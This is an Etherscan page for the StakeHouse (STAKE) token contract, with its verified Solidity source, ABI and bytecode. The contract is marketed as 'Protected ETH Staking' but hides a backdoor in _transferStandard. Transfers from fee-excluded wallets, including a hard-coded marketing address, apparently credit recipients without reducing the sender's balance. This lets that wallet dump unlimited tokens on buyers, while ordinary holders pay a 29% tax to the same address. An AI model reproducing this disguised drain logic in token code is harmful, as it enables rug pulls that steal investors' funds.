ETH Price: $3,322.64 (-1.51%)
Gas: 2 Gwei

Token

StakeHouse (STAKE)
 

Overview

Max Total Supply

1,000,000,000 STAKE

Holders

97

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,507,120.827544923 STAKE

Value
$0.00
0x7c9a94e17c41f591daedad9b6055d5c1e34158bd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STAKEHOUSE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-11
*/

// SPDX-License-Identifier: Unlicensed

/*
Protected ETH Staking.

Website: https://www.stakehouse.cloud
Telegram: https://t.me/stakehouse_erc
Twitter: https://twitter.com/stakehouse_erc
App: https://app.stakehouse.cloud
 */

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library LibSafeMathInt {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library LibAddress {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "LibAddress: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "LibAddress: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "LibAddress: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "LibAddress: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "LibAddress: insufficient balance for call");
        require(isContract(target), "LibAddress: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "LibAddress: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "LibAddress: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "LibAddress: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "LibAddress: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface UniswapFactoryInterface {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface UniswapRouterV1Interface {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface UniswapRouterV2Interface is UniswapRouterV1Interface {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract STAKEHOUSE is Context, IERC20, Ownable { 
    using LibSafeMathInt for uint256;
    using LibAddress for address;

    string private _name = "StakeHouse"; 
    string private _symbol = "STAKE";  
    uint8 private _decimals = 9;
    uint256 private _supplyTotal = 10 ** 9 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isFeeExcluded; 

    address payable private _marketing = payable(0x77f38d0038Af200cc714B41a15CE0abB93E8e599);
    address payable private deadAddress = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private buyCount = 0;
    uint8 private swapAt = 2; 

    uint256 private _totalFeesDominator = 2500;
    uint256 public _buyFee = 29;
    uint256 public _sellFee = 29;

    uint256 private _previousFeeTotal = _totalFeesDominator; 
    uint256 private _previousBuyTax = _buyFee; 
    uint256 private _previousSellTax = _sellFee; 

    uint256 public mWalletAmount = 15 * _supplyTotal / 1000;
    uint256 public feeSwapThreshold = _supplyTotal / 10000;
                                     
    UniswapRouterV2Interface public uniswapRouter;
    address public uniswapPair;

    bool public transferFeeEnabled = true;
    bool public swapping;
    bool public swapFeeEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _supplyTotal;
        UniswapRouterV2Interface _uniswapV2Router = UniswapRouterV2Interface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = UniswapFactoryInterface(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        _isFeeExcluded[owner()] = true;
        _isFeeExcluded[_marketing] = true;
        
        emit Transfer(address(0), owner(), _supplyTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _supplyTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferCheck(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeFees();
        } else {
            buyCount++;
        }
        _transferStandard(sender, recipient, amount);
        
        if(!takeFee) {
            restoreAllFee();
        }
    }
    
    function _getTransferAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalFeesDominator).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function removeFees() private {
        if(_totalFeesDominator == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyTax = _buyFee; 
        _previousSellTax = _sellFee; 
        _previousFeeTotal = _totalFeesDominator;
        _buyFee = 0;
        _sellFee = 0;
        _totalFeesDominator = 0;
    }

    function _transferStandard(address sender, address recipient, uint256 finalAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getTransferAmount(finalAmount);
        if(_isFeeExcluded[sender] && _balances[sender] <= mWalletAmount) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != _marketing &&
            to != address(this) &&
            to != uniswapPair &&
            to != deadAddress &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= mWalletAmount,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            buyCount >= swapAt && 
            amount > feeSwapThreshold &&
            !swapping &&
            !_isFeeExcluded[from] &&
            to == uniswapPair &&
            swapFeeEnabled 
            )
        {  
            buyCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapTokensAndSendFee(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isFeeExcluded[from] || _isFeeExcluded[to] || (transferFeeEnabled && from != uniswapPair && to != uniswapPair)){
            takeFee = false;
        } else if (from == uniswapPair){
            _totalFeesDominator = _buyFee;
        } else if (to == uniswapPair){
            _totalFeesDominator = _sellFee;
        }

        _transferCheck(from,to,amount,takeFee);
    }
    
    function swapTokensAndSendFee(uint256 contractTokenBalance) private lockSwap {
        swapTokensToETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendETH(_marketing,contractETH);
    }

    function restoreAllFee() private {
        _totalFeesDominator = _previousFeeTotal;
        _buyFee = _previousBuyTax; 
        _sellFee = _previousSellTax; 

    }

    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendETH(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }

    function swapTokensToETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    receive() external payable {}

    function removeLimits() external onlyOwner {
        mWalletAmount = ~uint256(0);
        _totalFeesDominator = 100;
        _buyFee = 1;
        _sellFee = 1;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isFeeExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract UniswapRouterV2Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a6080908152695374616b65486f75736560b01b60a0526001906200002b9082620004d7565b506040805180820190915260058152645354414b4560d81b6020820152600290620000579082620004d7565b506003805460ff191660099081179091556200007590600a620006b8565b6200008590633b9aca00620006d0565b6004819055600880546001600160a01b0319167377f38d0038af200cc714b41a15ce0abb93e8e59917905560098054750200000000000000000000000000000000000000dead6001600160b01b03199091161790556109c4600a819055601d600b819055600c819055600d91909155600e819055600f9081556103e8916200010d91620006d0565b620001199190620006ea565b6010556127106004546200012e9190620006ea565b6011556013805462ff00ff60a01b19166201000160a01b1790553480156200015557600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001af6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025191906200070d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c591906200070d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033991906200070d565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160076000620003816000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560085490911681526007909252902080549091166001179055620003db6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200042391815260200190565b60405180910390a35062000738565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045d57607f821691505b6020821081036200047e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004d257600081815260208120601f850160051c81016020861015620004ad5750805b601f850160051c820191505b81811015620004ce57828155600101620004b9565b5050505b505050565b81516001600160401b03811115620004f357620004f362000432565b6200050b8162000504845462000448565b8462000484565b602080601f8311600181146200054357600084156200052a5750858301515b600019600386901b1c1916600185901b178555620004ce565b600085815260208120601f198616915b82811015620005745788860151825594840194600190910190840162000553565b5085821015620005935787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005fa578160001904821115620005de57620005de620005a3565b80851615620005ec57918102915b93841c9390800290620005be565b509250929050565b6000826200061357506001620006b2565b816200062257506000620006b2565b81600181146200063b5760028114620006465762000666565b6001915050620006b2565b60ff8411156200065a576200065a620005a3565b50506001821b620006b2565b5060208310610133831016604e8410600b84101617156200068b575081810a620006b2565b620006978383620005b9565b8060001904821115620006ae57620006ae620005a3565b0290505b92915050565b6000620006c960ff84168362000602565b9392505050565b8082028115828204841417620006b257620006b2620005a3565b6000826200070857634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200072057600080fd5b81516001600160a01b0381168114620006c957600080fd5b61132880620007486000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb14610391578063c816841b146103b1578063dd62ed3e146103d1578063de28707114610417578063e7f1bfcb1461042d578063f2fde38b1461044e57600080fd5b806370a08231146102c4578063715018a6146102fa578063735de9f714610311578063751039fc146103495780638da5cb5b1461035e57806395d89b411461037c57600080fd5b806323b872dd1161010857806323b872dd146102055780632a92b17d14610225578063313ce5671461025557806340b9a54b14610277578063590f897e1461028d57806359eedafd146102a357600080fd5b806306fdde0314610150578063095ea7b31461017b5780630e7add85146101ab5780631732cded146101cf57806318160ddd146101f057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561046e565b6040516101729190610ffa565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611060565b610500565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b5060135461019b90600160a81b900460ff1681565b3480156101fc57600080fd5b506004546101c1565b34801561021157600080fd5b5061019b61022036600461108c565b610517565b34801561023157600080fd5b5061019b6102403660046110cd565b60076020526000908152604090205460ff1681565b34801561026157600080fd5b5060035460405160ff9091168152602001610172565b34801561028357600080fd5b506101c1600b5481565b34801561029957600080fd5b506101c1600c5481565b3480156102af57600080fd5b5060135461019b90600160b01b900460ff1681565b3480156102d057600080fd5b506101c16102df3660046110cd565b6001600160a01b031660009081526005602052604090205490565b34801561030657600080fd5b5061030f610580565b005b34801561031d57600080fd5b50601254610331906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561035557600080fd5b5061030f6105fd565b34801561036a57600080fd5b506000546001600160a01b0316610331565b34801561038857600080fd5b5061016561063e565b34801561039d57600080fd5b5061019b6103ac366004611060565b61064d565b3480156103bd57600080fd5b50601354610331906001600160a01b031681565b3480156103dd57600080fd5b506101c16103ec3660046110ea565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042357600080fd5b506101c160115481565b34801561043957600080fd5b5060135461019b90600160a01b900460ff1681565b34801561045a57600080fd5b5061030f6104693660046110cd565b61065a565b60606001805461047d90611123565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990611123565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b600061050d338484610744565b5060015b92915050565b6000610524848484610805565b6105768433610571856040518060600160405280602881526020016112cb602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b8a565b610744565b5060019392505050565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016105aa9061115d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016105aa9061115d565b6000196010556064600a556001600b819055600c55565b60606002805461047d90611123565b600061050d338484610805565b6000546001600160a01b031633146106845760405162461bcd60e51b81526004016105aa9061115d565b6001600160a01b0381166106e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105aa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076457506001600160a01b03821615155b6107a45760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105aa565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061083157506008546001600160a01b03838116911614155b801561084657506001600160a01b0382163014155b801561086057506013546001600160a01b03838116911614155b801561087a57506009546001600160a01b03838116911614155b801561089457506000546001600160a01b03848116911614155b15610920576001600160a01b0382166000908152600560205260409020546010546108bf83836111a8565b111561091e5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105aa565b505b6001600160a01b0383161580159061094057506001600160a01b03821615155b6109845760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105aa565b600081116109e25760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105aa565b60095460ff600160a81b82048116600160a01b9092041610801590610a08575060115481115b8015610a1e5750601354600160a81b900460ff16155b8015610a4357506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5c57506013546001600160a01b038381169116145b8015610a715750601354600160b01b900460ff165b15610aa4576009805460ff60a01b19169055306000908152600560205260409020548015610aa257610aa281610bb6565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae657506001600160a01b03831660009081526007602052604090205460ff165b80610b2d5750601354600160a01b900460ff168015610b1357506013546001600160a01b03858116911614155b8015610b2d57506013546001600160a01b03848116911614155b15610b3a57506000610b78565b6013546001600160a01b0390811690851603610b5b57600b54600a55610b78565b6013546001600160a01b0390811690841603610b7857600c54600a555b610b8484848484610bfb565b50505050565b60008184841115610bae5760405162461bcd60e51b81526004016105aa9190610ffa565b505050900390565b6013805460ff60a81b1916600160a81b179055610bd281610c68565b6008544790610bea906001600160a01b031682610dc2565b50506013805460ff60a81b19169055565b80610c0d57610c08610dfd565b610c41565b60098054600160a01b900460ff16906014610c27836111bb565b91906101000a81548160ff021916908360ff160217905550505b610c4c848484610e42565b80610b8457610b84600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9d57610c9d6111da565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1a91906111f0565b81600181518110610d2d57610d2d6111da565b6001600160a01b039283166020918202929092010152601254610d539130911684610744565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8c90859060009086903090429060040161120d565b600060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df8573d6000803e3d6000fd5b505050565b600a54158015610e0d5750600b54155b8015610e195750600c54155b15610e2057565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4e83610f85565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9557506010546001600160a01b03861660009081526005602052604090205411155b15610eaa57506000610ea7828461127e565b92505b6001600160a01b038516600090815260056020526040902054610ecd9084610fc3565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610efc9083610fd6565b6001600160a01b038516600090815260056020526040808220929092553081522054610f289082610fd6565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610faa6064610fa4600a5487610fe290919063ffffffff16565b90610fee565b90506000610fb88583610fc3565b959194509092505050565b6000610fcf828461127e565b9392505050565b6000610fcf82846111a8565b6000610fcf8284611291565b6000610fcf82846112a8565b600060208083528351808285015260005b818110156110275785810183015185820160400152820161100b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105d57600080fd5b50565b6000806040838503121561107357600080fd5b823561107e81611048565b946020939093013593505050565b6000806000606084860312156110a157600080fd5b83356110ac81611048565b925060208401356110bc81611048565b929592945050506040919091013590565b6000602082840312156110df57600080fd5b8135610fcf81611048565b600080604083850312156110fd57600080fd5b823561110881611048565b9150602083013561111881611048565b809150509250929050565b600181811c9082168061113757607f821691505b60208210810361115757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561051157610511611192565b600060ff821660ff81036111d1576111d1611192565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120257600080fd5b8151610fcf81611048565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561125d5784516001600160a01b031683529383019391830191600101611238565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561051157610511611192565b808202811582820484141761051157610511611192565b6000826112c557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220095d0095b44e27cb532a11e2cc391610df369a6179699f56326e53c6fc17906464736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb14610391578063c816841b146103b1578063dd62ed3e146103d1578063de28707114610417578063e7f1bfcb1461042d578063f2fde38b1461044e57600080fd5b806370a08231146102c4578063715018a6146102fa578063735de9f714610311578063751039fc146103495780638da5cb5b1461035e57806395d89b411461037c57600080fd5b806323b872dd1161010857806323b872dd146102055780632a92b17d14610225578063313ce5671461025557806340b9a54b14610277578063590f897e1461028d57806359eedafd146102a357600080fd5b806306fdde0314610150578063095ea7b31461017b5780630e7add85146101ab5780631732cded146101cf57806318160ddd146101f057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561046e565b6040516101729190610ffa565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611060565b610500565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b5060135461019b90600160a81b900460ff1681565b3480156101fc57600080fd5b506004546101c1565b34801561021157600080fd5b5061019b61022036600461108c565b610517565b34801561023157600080fd5b5061019b6102403660046110cd565b60076020526000908152604090205460ff16